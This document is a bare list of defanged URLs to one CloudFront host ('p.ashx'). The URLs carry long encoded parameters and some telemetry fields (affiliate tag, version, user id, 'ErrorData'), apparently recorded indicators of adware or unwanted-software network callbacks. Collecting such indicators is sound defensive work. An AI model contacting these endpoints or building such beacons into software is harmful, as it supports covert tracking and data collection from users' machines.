hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrnisgFVrwdvblBb58xFAMOt6D9UJmzeHXJOIAnSEbDsx0eh4F9DwOExoWNAP4OWMIxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9UpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovQKP ZDTcKvaA==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrxQEru0RuuZSXHFdCYmCgFwTxIUcsgQ wwCZLjKPQ6Z6hVaWFI 9Gui2BiJRR6OEh94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5Mrz3HjAX5f3Mu6QVkhmBNubY4G r 3F6T7fkqm4d2S5jLFX/vPL/gxF8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfVKbzqI7vizYNqIolatUkrWzLm1PonkPOhtpIKHiyqL0Cj/mQ03Cr2g=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrgJHDf/u7xkQoETtCpwnRwjDg9SakjfpthzGuRPC12F0Io3Hxsp018NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29raE2JuypHmFcB7Kvi1 PdRfV4GNTx99pCL 3iyUFZ9oHKmQIn4hJDvowDChOESlis=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrXMxgqnmmqSQoETtCpwnRwgjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lx0fofCQUPI9Ti1p16ZP0eRrlf3Z bjvtKS13pkoDd7gxvWvwyq qsQ==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrzdiNKneBtxMbw23K9mQlgxQC drCF7eFKCrVyEloleJRxtw Ud1eTtGv 8p9Zv7Rndz90qskgG9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqAnlbOF tL8E5ZW5Py1LuPaoCYHIlP1NpERI1WONIT7d WGXQANOND
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrGxrTqW15vZCY3rFz7xHa/LPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsZ3d0Bo9MYSMvfqpUUJvug6Za8CAYbd2XSHtaKquqIZQzS4bdFaZObMZm 8qxpeoo=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5Mrn14WGxPVpt4rhVLDNrJQC44G r 3F6T77w1D5Xws0XapQUt9ysv/LeITGL7aiC8Hk2dyYR17VYOC5WBoetiu1eIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZfDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDzRzrRm1LbPo=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5Mrk0XByrlXk6UsXzCYJGHkaymF904v4t2Dm/O2qbWSzQzF5mlVsbpBVmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSoCeVs4X60vwTllbk/LUu49qgJgciU/U2kREjVY40hPt35YZdAA040M=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrgJHDf/u7xkQN1DcIUGU/krPiCC4paVhdBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLGd3dAaPTGEjL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTmzGZvvKsaXqK
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrxBAEp0wLfKPr3Vpd156CrdCUHeR8YCF3eApPxgKLj6N6btWtv6UslJSmFiEuG/089S40a1ZjOWBZguxgnOukjtBEfG0/PwdpXwZhJEhXGlay571IekL8TPxyvzupEEgr3/q5YzclMBLvgWFQj2kcVyq/fn/D/dR63T7MsQGC7Thy4GCtJXzHHBUmpStNaTb9HXLCY6SvV 9KgDVpxrNENDf EwCPuEK2/Z8XWfHRBYgtt5NJ0IACZYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS8dH6HwkFDyPU4tademT9Hka5X92fm477Sktd6ZKA3e4Mb1r8MqvqrE=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrxBAEp0wLfKOWnHKXQ4ByT9CUHeR8YCF3cICI7/tQlejZeojEglKF4wTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxnd3QGj0xhIy9 qlRQm 6DplrwIBht3ZdIe1oqq6ohlDNLht0Vpk5sxmb7yrGl6ig==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=bdqY0vC4PYvMZ3T6XmWM03uXfKS5cIsRjA5kVqVgWdD8SaNRCRsmETynsL3GEE9Tb7MK9FL2EV1WehjSxYG/On9ufCjUouKMihexdHkHf0x1m0Sk63AmJsSCFqUzxEuK5pBCt6gYiqolYqo1yJ54bCH5pRpba5MrxBAEp0wLfKOcXM978RrvxgTxIUcsgQ w0eteH8KxBtakHX utQO2t7GJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=yhrBLBbZM9XpxK87b oDM8xndPpeZYzTe5d8pLlwixGMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1Nvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqiViqjXInnhsIfmlGltrkysbGtOpbXm9kB1gsLoXCDzZ0JQd5HxgIXe thF4yl7nfnnVEIDOoHdm2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=PcwT4QFtuPBPNjxRBLtb43sCfwj1RPwM/WD6e6SZIIExLHUkaU066zsPf/PibBcq5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PR0gYZFzD/Ro9gpblKfW4NYb GEwPiedNJiuGpx ZVZ8ATxIUcsgQ wusjSmD/os8tGkftYta6BseIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZfDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDzRzrRm1LbPo=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=lOCrbsNL2zX5PxLbQh95wGlBVeUjsyYpATiRXab0IMZAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTerUS xu59wfjaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9GYMfFfhpIaQpKb81Sa5kgtqq35bppXPWAnShT6V4w3E8qJaeUqNPyfIROPie2z40yolAiAYcC0Bjgb6v7cXpPsFcFDqW67NoATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxnd3QGj0xhIy9 qlRQm 6DplrwIBht3ZdIe1oqq6ohlDNLht0Vpk5sxmb7yrGl6ig==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=lOCrbsNL2zX5PxLbQh95wGlBVeUjsyYpATiRXab0IMZAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTerUS xu59wfjaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9GYMfFfhpIaQpKb81Sa5kgtqq35bppXPWAnShT6V4w3E8qJaeUqNPyfIROPie2z40 X0A62pnUj3KYX3Ti/i3YMh066VndfnJPZ7qdg7Xwz65VmhQy4zPjr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=lOCrbsNL2zX5PxLbQh95wGlBVeUjsyYpATiRXab0IMZAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTerUS xu59wfjaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9GYMfFfhpIaQpKb81Sa5kgtqq35bppXPWAnShT6V4w3E8qJaeUqNPyfciXFAHp4HlN0tx3OIPhi9EwAaRG2pHiWQ4He/tpOrQX3WTcqgG6cW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=37A8KpTgCn9pQVXlI7MmKUGltZhbwJNeQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaqt W6aVz1gJ0oU leMNxNAE2nujUpHLCeQCV5QcxbtPZPHJIIJ7tLPiCC4paVhdHNDw67npC6OqeQ3rY1n1snbps i3tsmdgY/uEk4rusqEJ5mSKufXaig7yEO8f78RjGVOK1 ZzqmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qx
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=37A8KpTgCn9pQVXlI7MmKUGltZhbwJNeQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaqt W6aVz1gJ0oU leMNxNAE2nujUpHLCeQCV5QcxbtPZPHJIIJ7tLPiCC4paVhdpK4A9Fxc1YdQgONDig9eL33WTcqgG6cW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2toTYm7KkeYVwHsq LX491F9XgY1PH32kIv7eLJQVn2gcqZAifiEkO jAMKE4RKWKw==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=37A8KpTgCn9pQVXlI7MmKUGltZhbwJNeQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaqt W6aVz1gJ0oU leMNxNAE2nujUpHLCeQCV5QcxbtPZPHJIIJ7tLPiCC4paVhdWqXR tQCTQJmyhLgvMFEGq2e8t8Sq5T094khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=37A8KpTgCn9pQVXlI7MmKUGltZhbwJNeQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaqt W6aVz1gJ0oU leMNxNAE2nujUpHLCeQCV5QcxbtPZPHJIIJ7tLPiCC4paVhdWVygbMLCnlKwtI/6oCOdpRH59cmKdZXuemhbyj Dp3mDnvuZM8OFmDbOD 4Je6KVjShBrTs2JIZpvLSWN4tvyEHGJzRl3HFz488RxCRQC/xPUBetgzuMdwNxBRMvNAJRbdvcZH1qHoCmzzyfyUZ1mfx0/ad/KTFdGePeI7LnpO NBE3rIknrX6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTLZfq81dNXZ4yWX8hHfz7AAJy7SgRMsWbkZddSrlEwgXRnhKwsbQ8f9iWFF2Bq/WA=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&ver=2.2.7764.475&rnd=578&tss=5&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg7 /v7 /v7 /v7 /v7 /v7 /v729vb9/f399/f39/j4 Pj4 Pv7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /sZ/T8bGxsbGxsbt7e3t7e3twgICAhHR0c4ODg4ODg43d3d3d3d29vb29v6 vr6GhoaGhoaGiYmJiYmJiYmBARAQEBAQEAoKCgoKCgoKNzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /v39/f39/f39/f29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f39/fj4 Pj4 Pj4EhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhIS Pj4 P39/f39/f7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODv7 /v7 /v7 /v7 /v7 9vb29vb29v39/f339/f4 Pv4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xpaPxsbGxsbG7e3t7e3t7e3CAgIR0dHODg4ODg4ON3d3d3d3dvb29v6 vr6 hoaGhoaGiYmJiYmJiYmBAQEQEBAQEBAQCgoKCgoKNzc3Nzc3Nw0NDQ0NDQ0NPv7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /f39/f34 Pj4 Pj4 BISEhISEhL8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhL4 Pg=&usid=2858020935-2156992550-3658131804&sid=0&pixGuid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=uWabAt9SLcxB24VIjmhz1sxndPpeZYzTbsgj QVv7RmMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1Nvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqiViqjXInnhsJXymwN66RvHfV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YOgqpFoRMZSCYnEK43tqK5p2skB4aC3ESGdgElvBjDHB8P rxL ch GZ0xm6mhNmOwAWodnV1HIBQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSxnd3QGj0xhIy9 qlRQm 6DplrwIBht3ZdIe1oqq6ohlDNLht0Vpk5sxmb7yrGl6ig==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=uWabAt9SLcxB24VIjmhz1sxndPpeZYzTbsgj QVv7RmMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1Nvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqiViqjXInnhsJXymwN66RvHfV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YNcWyV 43ZmuBoJKnjcECO vcpBmUnu1RPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQ80c60ZtS2z6
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=uWabAt9SLcxB24VIjmhz1sxndPpeZYzTbsgj QVv7RmMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1Nvswr0UvYRXVZ6GNLFgb86f258KNSi4oyKF7F0eQd/THWbRKTrcCYmxIIWpTPES4rmkEK3qBiKqiViqjXInnhsJXymwN66RvHfV9OCtHXZfEzRFKQxWMw7KYX3Ti/i3YMkVSCntIhzCZedLPIUyUClqXRCjGf3kymM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qx
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?prd=YTAi&aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&ver=2.2.7764.475&rnd=578&tss=7&action=ErrorData&actionparam=/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg7r6 sODg4O/g4ODv7 6w4O6w4ODg4ODv7 /g79/f39/f339/f39/f39/f3 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xq QBsbGxsbGxsbt7e3t7e3t7cICAgIR0dHODg4ODg43d3d3d3d29vb29vb vr6GhoaGhoaGhomJiYmJiYmBAQEQEBAQEBAQCgoKCgoKCjc3Nzc3Nzc3DQ0NDQ0NDT7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb2/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v39/fj4 Pj4 Pj4 BISEhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/PwSEhISEvj4 Pj4/f39/f39/v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg4O/v7 /v4ODv7 /v7 /v7 /v7 /v79/f399/f39/f39/j4 Pj4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7Gs1AGxsbGxsbGxu3t7e3t7e3CAgICAhHODg4ODg4ON3d3d3d3d3b29vb2/r6 voaGhoaGhoaJiYmJiYmBAQEBEBAQEBAQEAoKCgoKCgo3Nzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /f39/f39/f39vb29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f34 Pj4 Pj4 PgSEhISEhIS/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/BISEhIS Pj4 Pj9/f39/f3 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODg7 /v7 /v7 /v7 /v7 /v7 /v729vb9/f399/f39/j4 Pj4 Pv7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /sZ/T8bGxsbGxsbt7e3t7e3twgICAhHR0c4ODg4ODg43d3d3d3d29vb29v6 vr6GhoaGhoaGiYmJiYmJiYmBARAQEBAQEAoKCgoKCgoKNzc3Nzc3DQ0NDQ0NDQ0 /v7 /v7 /v39/f39/f39/f29vb29vb29vb29vb29v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v79/f39/fj4 Pj4 Pj4EhISEhISEvz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8/Pz8EhISEhIS Pj4 P39/f39/f7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v4ODg4ODg4ODg4ODv7 /v7 /v7 /v7 /v7 9vb29vb29v39/f339/f4 Pv4 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 xpaPxsbGxsbG7e3t7e3t7e3CAgIR0dHODg4ODg4ON3d3d3d3dvb29v6 vr6 hoaGhoaGiYmJiYmJiYmBAQEQEBAQEBAQCgoKCgoKNzc3Nzc3Nw0NDQ0NDQ0NPv7 /v7 /v79/f39/f39/f39vb29vb29vb29vb29vb /v7 /v7 /v7 /v7 /v7 /v7 /v7 /v7 